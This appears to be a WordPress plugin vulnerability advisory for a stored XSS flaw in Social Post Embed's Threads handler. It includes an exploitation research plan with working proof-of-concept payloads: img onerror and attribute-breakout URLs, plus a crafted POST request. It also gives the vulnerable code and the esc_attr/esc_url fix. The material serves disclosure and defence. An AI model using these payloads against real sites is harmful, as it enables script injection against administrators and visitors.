Social Post Embed <= 2.0.1 - Authenticated (Contributor+) Stored Cross-Site Scripting via Threads Embed
Description
The Social Post Embed plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the Threads embed handler in all versions up to, and including, 2.0.1. This is due to insufficient input sanitization and output escaping on the user-supplied URL. This makes it possible for authenticated attackers, with Contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:NTechnical Details
<=2.0.1What Changed in the Fix
Changes introduced in v2.0.2
Source Code
WordPress.org SVN# Exploitation Research Plan: CVE-2026-6809 (Social Post Embed) ## 1. Vulnerability Summary The **Social Post Embed** plugin (<= 2.0.1) is vulnerable to **Stored Cross-Site Scripting (XSS)** via its Threads embed handler. The plugin registers a custom embed handler for Threads URLs but fails to san…
Show full research plan
Exploitation Research Plan: CVE-2026-6809 (Social Post Embed)
1. Vulnerability Summary
The Social Post Embed plugin (<= 2.0.1) is vulnerable to Stored Cross-Site Scripting (XSS) via its Threads embed handler. The plugin registers a custom embed handler for Threads URLs but fails to sanitize or escape the user-provided URL and the extracted "user" string before outputting them into the page's HTML. This allows an authenticated user with Contributor-level permissions or higher to inject arbitrary JavaScript by simply pasting a crafted Threads URL into a post or page.
2. Attack Vector Analysis
- Endpoint: WordPress Post Editor (
wp-admin/post-new.phporwp-admin/post.php). - Hook:
initcallsspte_register_threads_handler, which registers the handler viawp_embed_register_handler. - Payload Parameter: The content of a WordPress post (the
post_contentfield). - Vulnerable Handler:
spte_threads_handlerininc/threads.php. - Authentication Level: Contributor or higher (any role capable of creating/editing posts).
- Preconditions: The plugin must be active. The payload is triggered when any user (e.g., an Administrator) views the post on the frontend or via a preview.
3. Code Flow
- Registration: In
inc/threads.php,spte_register_threads_handler()registers a handler for URLs matching#https://www\.threads\.net/.*#i. - Trigger: When WordPress processes a post containing a Threads URL (via
the_contentfilter or auto-embeds), it callsspte_threads_handler. - Extraction: The handler uses a regex to extract the username and full URL:
preg_match( '/https:\/\/www\.threads\.net\/(@.*)\/post\/.*/', $threads_url, $split ); $user = $split[1]; $url = $split[0]; - Sink: The
$userand$threads_urlvariables are concatenated directly into the$embedHTML string without any escaping:$embed = '... <a href="' . $threads_url . '" ...> ... Post by ' . $user . '</div> ...'; - Output: The unescaped HTML is returned and rendered in the browser.
4. Nonce Acquisition Strategy
This vulnerability is exploited by creating a WordPress post. WordPress requires a nonce for post creation/editing to prevent CSRF.
- Strategy:
- Use the
browser_navigatetool to go towp-admin/post-new.php. - Use
browser_evalto extract the_wpnoncefrom the hidden input field or thewp.apiFetchsettings if using the Block Editor. - Alternatively, since the agent has high-level browser control, it can simply use the
browser_typeandbrowser_clicktools to perform the injection through the UI, which handles nonces automatically.
- Use the
- Specific Identifiers:
- The classic editor uses an input with
id="_wpnonce"andname="_wpnonce". - The block editor (Gutenberg) often uses a REST API nonce available at
window.wpApiSettings.nonce.
- The classic editor uses an input with
5. Exploitation Strategy
The goal is to inject a payload that breaks out of the HTML tags in the embed output.
Steps:
- Login: Log in as a user with the Contributor role.
- Payload Construction:
- Craft a Threads URL that satisfies the plugin's regex while containing an XSS payload.
- Target: The
$uservariable (extracted from the@part of the URL). - Payload:
https://www.threads.net/@"><img src=x onerror=alert(document.domain)>/post/123 - Logic: The regex
(@.*)will capture@"><img src=x onerror=alert(document.domain)>. When echoed inside the<div>, it breaks the text context and executes the script.
- Injection:
- Navigate to
wp-admin/post-new.php. - Set the post content to the payload URL (ensure it is on its own line to trigger auto-embed).
- Save the post as a draft (Contributors cannot publish, but their drafts are viewable by Admins).
- Navigate to
- Trigger:
- Log in as an Administrator.
- Navigate to the frontend URL of the created post or view the post preview in the dashboard.
HTTP Request (if performed via http_request):
POST /wp-admin/post.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded
post_ID=[ID]&action=editpost&_wpnonce=[NONCE]&post_content=https://www.threads.net/@%22%3E%3Cimg%20src=x%20onerror=alert(document.domain)%3E/post/123&post_title=Stored+XSS+Test&post_status=draft
6. Test Data Setup
- User: Create a user with the
contributorrole.wp user create attacker attacker@example.com --role=contributor --user_pass=password123
- Plugin: Ensure
social-post-embedversion 2.0.1 is installed and active.
7. Expected Results
- When the post is viewed, the resulting HTML should contain the broken
<div>:<div style="..."> Post by @"><img src=x onerror=alert(document.domain)></div> - The browser should execute the
alert(document.domain)command.
8. Verification Steps
- CLI Check: Verify the post content was saved exactly as intended.
wp post get [ID] --field=post_content
- Frontend Check: Use
http_requestto fetch the post's frontend page and grep for the unescaped payload.http_request(url="http://localhost:8080/?p=[ID]")- Look for:
Post by @"><img src=x onerror=alert(document.domain)>in the response body.
9. Alternative Approaches
- Attribute Breakout: If the
<div>injection is blocked by a WAF, target thedata-text-post-permalinkattribute in the<blockquote>tag.- Payload:
https://www.threads.net/@user/post/123" onmouseover="alert(1)"
- Payload:
- Shortcode Trigger: If auto-embed fails, use the
[embed]shortcode explicitly:[embed]https://www.threads.net/@"><img src=x onerror=alert(1)>/post/123[/embed]
- Spoutible Handler: Check
inc/spoutible.php(included insocial-post-embed.php) for similar logic, as the plugin was "extended to work on a number of different social platforms" in version 2.0.
Summary
The Social Post Embed plugin for WordPress (<= 2.0.1) is vulnerable to Stored Cross-Site Scripting via its Threads embed handler. The plugin extracts the username and URL from a user-supplied Threads link but fails to sanitize or escape these values before including them in the generated HTML, allowing Contributor+ users to execute arbitrary JavaScript.
Vulnerable Code
// inc/threads.php lines 46-53 $matched = preg_match( '/https:\/\/www\.threads\.net\/(@.*)\/post\/.*/', $threads_url, $split ); if ( 1 === $matched ) { $user = $split[1]; $url = $split[0]; } else { $user = ''; $url = false; } --- // inc/threads.php line 63 $embed = '<blockquote class="text-post-media" data-text-post-permalink="' . $threads_url . '" data-text-post-version="0" id="ig-tp-' . $url . '" style=" background:#FFF; border-width: 1px; border-style: solid; border-color: #00000026; border-radius: 16px; max-width:540px; margin: 1px; min-width:270px; padding:0; width:99.375%; width:-webkit-calc(100% - 2px); width:calc(100% - 2px);"> <a href="' . $threads_url . '" style=" background:#FFFFFF; line-height:0; padding:0 0; text-align:center; text-decoration:none; width:100%; font-family: -apple-system, BlinkMacSystemFont, sans-serif;" target="_blank"> <div style=" padding: 40px; display: flex; flex-direction: column; align-items: center;"><div style=" display:block; height:32px; width:32px; padding-bottom:20px;"> <svg ... (truncated) ... </svg></div> <div style=" font-size: 15px; line-height: 21px; color: #999999; font-weight: 400; padding-bottom: 4px; "> Post by ' . $user . '</div> <div style=" font-size: 15px; line-height: 21px; color: #000000; font-weight: 600; "> View on Threads</div></div></a></blockquote><script async src="https://www.threads.net/embed.js"></script>';
Security Fix
@@ -46,8 +46,8 @@ $matched = preg_match( '/https:\/\/www\.threads\.net\/(@.*)\/post\/.*/', $threads_url, $split ); if ( 1 === $matched ) { - $user = $split[1]; - $url = $split[0]; + $user = esc_attr( $split[1] ); + $url = esc_attr( $split[0] ); } else { $user = ''; $url = false; @@ -58,6 +58,8 @@ if ( ! $url ) { $embed = '<p>Error: Threads URL format not recognised.</p>'; } else { + $threads_url = esc_url( $threads_url ); + // The following code makes use of a third party script from Threads (part of Meta). The Privacy Policy is at https://help.instagram.com/515230437301944 // PHPCS is disabled for this next line, so there's no nag to enqueue this script. // phpcs:disable
Exploit Outline
An authenticated attacker with Contributor-level permissions or higher can exploit this vulnerability by creating or editing a post and inserting a maliciously crafted Threads URL. A payload such as 'https://www.threads.net/@"><img src=x onerror=alert(document.domain)>/post/123' satisfies the plugin's regex, which captures the XSS payload into the '$user' variable. When the post is rendered, the payload breaks out of the HTML structure and executes the injected script in the context of any user viewing the page, including administrators.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.